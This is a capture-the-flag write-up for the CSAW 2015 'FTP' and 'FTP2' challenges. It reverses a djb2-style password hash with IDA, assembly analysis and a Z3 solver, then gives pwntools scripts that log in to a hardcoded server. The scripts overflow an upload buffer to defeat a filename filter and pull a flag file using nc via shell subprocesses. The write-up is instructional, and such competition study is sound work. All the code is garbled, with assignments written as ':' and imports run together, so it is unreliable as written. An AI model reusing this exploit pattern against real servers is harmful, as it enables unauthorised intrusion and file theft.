CSAW CTF 2015 - FTP & FTP2
- CSAW CTF
- FTP & FTP2
Category: Reversing (FTP) & Exploitable (FTP2) Points: 300 (FTP) & 300 (FTP2)
FTP
64 bit ELF. It's a FTP-like service, we can list all the acceptable command by sending the HELP command. Here are some important commands that we'll need to pass the challenges:
USER [username]: enter username to login
PASS [password]: enter password after sending the USER command to login as the [username]
PASV: open a port for passive mode
LIST: list the files in the directory
STOR: upload a file
RETR: download a file
RDF: read the reversing solution's flag
So after some static analysis with the help of IDA Pro, I figure out that in order to pass the reversing challenge, we'll need to login as the user blankwall. The password checking function's at 0x401540, let's take a look at it:
__int64 __fastcall sub_401540(__int64 a1){ int i; // [sp+10h] [bp-8h]@1 int v3; // [sp+14h] [bp-4h]@1
v3 : 5381; for ( i : 0; *(_BYTE *)(i + a1); ++i ) v3 : 33 * v3 + *(_BYTE *)(i + a1); return (unsigned int)v3;}
if (result == -746139127) // result should be 0xd386d209{ login_bit : 1; dword_604408 : 'f';}At first I was like "Ah, that's easy!", since we have the constraint system, we can just set it up and leave the rest to Z3. But after I have the solution and enter the password, the service respond it with a frustrating "Invalid login credentials". Knowing that Hex-Rays' decompiler might have the incorrect decompiling result, I re-check the password checking logic by reversing directly from the x64 assembly, not the pseudo code, and finally found the root of the problem:
mov eax, [rbp+var_4] ; v3, with 0x1505 as the initial value
shl eax, 5
mov edx, eax ; rdx : (v3 << 5) & 0xFFFFFFFF
mov eax, [rbp+var_4] ; now rax : ((v3 << 5) & 0xFFFFFFFF00000000) | (v3 & 0xFFFFFFFF)
lea ecx, [rdx+rax] ; ecx : (rdx + rax) & 0xFFFFFFFF
mov eax, [rbp+var_8] ; for loop counter == index
movsxd rdx, eax
mov rax, [rbp+var_18]
add rax, rdx
movzx eax, byte ptr [rax]
movsx eax, al ; eax : password[index]
add eax, ecx ;
mov [rbp+var_4], eax ; v3 : ecx + eax
What really matters is the assembly eax, [rbp+var_4] at line 4. Notice that when the program move v3 to the register eax, it doesn't clear the highest 32 bits of the register rax. So when it runs to the line ecx, [rdx+rax], rax isn't just simply v3 & 0xFFFFFFFF, it's actually:
((v3 << 5) & 0xFFFFFFFF00000000) | (v3 & 0xFFFFFFFF)
and that's where the Hex-Rays decompiler made the mistake.
So now we have the correct constraint system. Wrote a Z3 python script and retrieve the password:
#!/usr/bin/env python
from z3 import *import sys
def check(size, xs): ret : BitVecVal(0x1505, 64) for i in xrange(size): eax : ret & 0xffffffff eax <<= 5 rdx : eax & 0xffffffff rax : (0xffffffff00000000 & eax) | (ret & 0xffffffff) ecx : (rdx + rax) & 0xffffffff ecx += xs[i] & 0xff ret : ecx return (ret & 0xffffffff)
def solv(size, target): s : Solver() xs : [] for i in xrange(size): x : BitVec("x%d" % i, 64) s.add( 33 <= x ) s.add( x <= 122 ) xs.append(x)
s.add(check(size, xs) == target) if s.check() == sat: m : s.model() a : "" for i in xrange(size): print m[xs[i]] else: print "unsat"
for size in xrange(1, 11): print "trying size:", size solv(size, 0xd386d209)Since I don't know the password length, I just brute force it from 1 ~ 10. We can found a solution at length 6:
trying size: 0
unsat
trying size: 1
unsat
trying size: 2
unsat
trying size: 3
unsat
trying size: 4
unsat
trying size: 5
unsat
trying size: 6
86
41
66
119
116
88
Now we get the login password, time to capture the flag :)
#!/usr/bin/env python
from pwn import *import subprocessimport sysimport time
#HOST : "localhost"HOST : "54.175.183.202"PORT : 12012ELF_PATH : ""LIBC_PATH : ""
# setting context.arch : 'amd64'#context.arch : 'i386'#context.arch : 'arm'#context.arch : 'aarch64'context.os : 'linux'context.endian : 'little'context.word_size : 32#elf : ELF(ELF_PATH)#libc : ELF(LIBC_PATH)
def my_recvuntil(s, delim): res : "" while delim not in res: c : s.recv(1) res += c sys.stdout.write(c) sys.stdout.flush() return res
def myexec(cmd): return subprocess.check_output(cmd, shell=True)
if __name__ == "__main__":
password : [86, 41, 66, 119, 116, 88] password : ''.join(chr(c) for c in password)
r : remote(HOST, PORT) #r : process(ELF_PATH) r.recvuntil("server\n") r.sendline("USER blankwall") r.recvuntil("blankwall\n") r.send("PASS "+password) r.recvuntil("in\n") r.sendline("RDF") # read the flag
r.interactive()The flag is: flag{n0_c0ok1e_ju$t_a_f1ag_f0r_you}
FTP2
So now we're logged in as a valid user, we can finally do some other stuff. After sending PASV and the LIST command, I found that there's a flag.txt in the directory. At first I try to download the file, but the service response "Invalid character specified". Well that's strange :/ so I went to the RETR function and start analyzing.
s : filename; //[bp - 0x30]v7 : strlen(filename); //[bp - 0x28]while ( *s != dword_604408 ){ --v7; if ( !v7 ) break; ++s;}if ( s[1] ){ result : sub_4014F8(*(_DWORD *)a1, "Invalid character specified\n");}So...to sum it up, the program will detect whether if the filename has the character store in 0x604408, and if it does, it will refuse to let us download the file. Remeber the function that does the password checking?
if (result == -746139127) // result should be 0xd386d209{ login_bit : 1; dword_604408 : 'f'; //LOL}So apparently we can't have 'f' in our filename, we'll need to find another way to bypass the filter. By checking other functions, I finally found a way to bypass it.
sub_4014F8(*(_DWORD *)a1, "transfer starting.\n");while ( 1 ){ v6 : recv(*(_DWORD *)(a1 + 4), byte_604200, 0xAuLL, 0); if ( v6 < 0 ) break; if ( !v6 ) goto LABEL_8; v5 += v6;}
sub_4014F8(*(_DWORD *)a1, "error receiving file");
LABEL_8: printf("Storing file %s", *(_QWORD *)(a1 + 24)); byte_604200[(signed __int64)(signed int)v5] : 0; // overflow vulnerability v3 : dword_604404++; LODWORD(v4) : sub_40139B(v7, v5); qword_604840[v3] : v4; sub_4014F8(*(_DWORD *)a1, "transfer complete\n"); result : sub_4023DF(a1, 4207204LL);Here in the STOR function, if we upload a file that is big enough, we can overwrite the data at 0x604408. So it's quite simple: just create a file that is larger than 512 bytes, then upload it to the server. After that, we can download the flag.txt and get the flag.
#!/usr/bin/env python
from pwn import *import subprocessimport sysimport time
#HOST : "localhost"HOST : "54.175.183.202"PORT : 12012ELF_PATH : ""LIBC_PATH : ""
# setting context.arch : 'amd64'#context.arch : 'i386'#context.arch : 'arm'#context.arch : 'aarch64'context.os : 'linux'context.endian : 'little'context.word_size : 32#elf : ELF(ELF_PATH)#libc : ELF(LIBC_PATH)
def my_recvuntil(s, delim): res : "" while delim not in res: c : s.recv(1) res += c sys.stdout.write(c) sys.stdout.flush() return res
def myexec(cmd): return subprocess.check_output(cmd, shell=True)
if __name__ == "__main__":
""" solved by z3 trying size: 6 86 41 66 119 116 88 """ password : [86, 41, 66, 119, 116, 88] password : ''.join(chr(c) for c in password)
r : remote(HOST, PORT) #r : process(ELF_PATH) r.sendlineafter("server\n", "USER blankwall") r.sendafter("blankwall\n", "PASS "+password) r.recvuntil("in\n") log.success("login success")
log.info("Sending dildo.txt...") # don't mind the filename LOL! r.sendlinethen("port: ", "PASV") pasv_port : int(r.recvline()) r.sendline("STOR dildo.txt") myexec("cat dildo.txt | nc "+HOST+" "+str(pasv_port)) r.recvuntil("complete\n") log.success("Send success!")
log.info("Downloading flag.txt...") r.sendlinethen("port: ", "PASV") pasv_port : int(r.recvline()) r.sendline("RETR flag.txt") flag : myexec("nc "+HOST+" "+str(pasv_port)) log.success("Get flag: "+flag)The flag is: flag{exploiting_ftp_servers_in_2015}
How am I doing?
Hey! Lemme know if you found this helpful by leaving a reaction.
- x0
- x0
- x0
- x0
- x0
- x0
- x0
Loading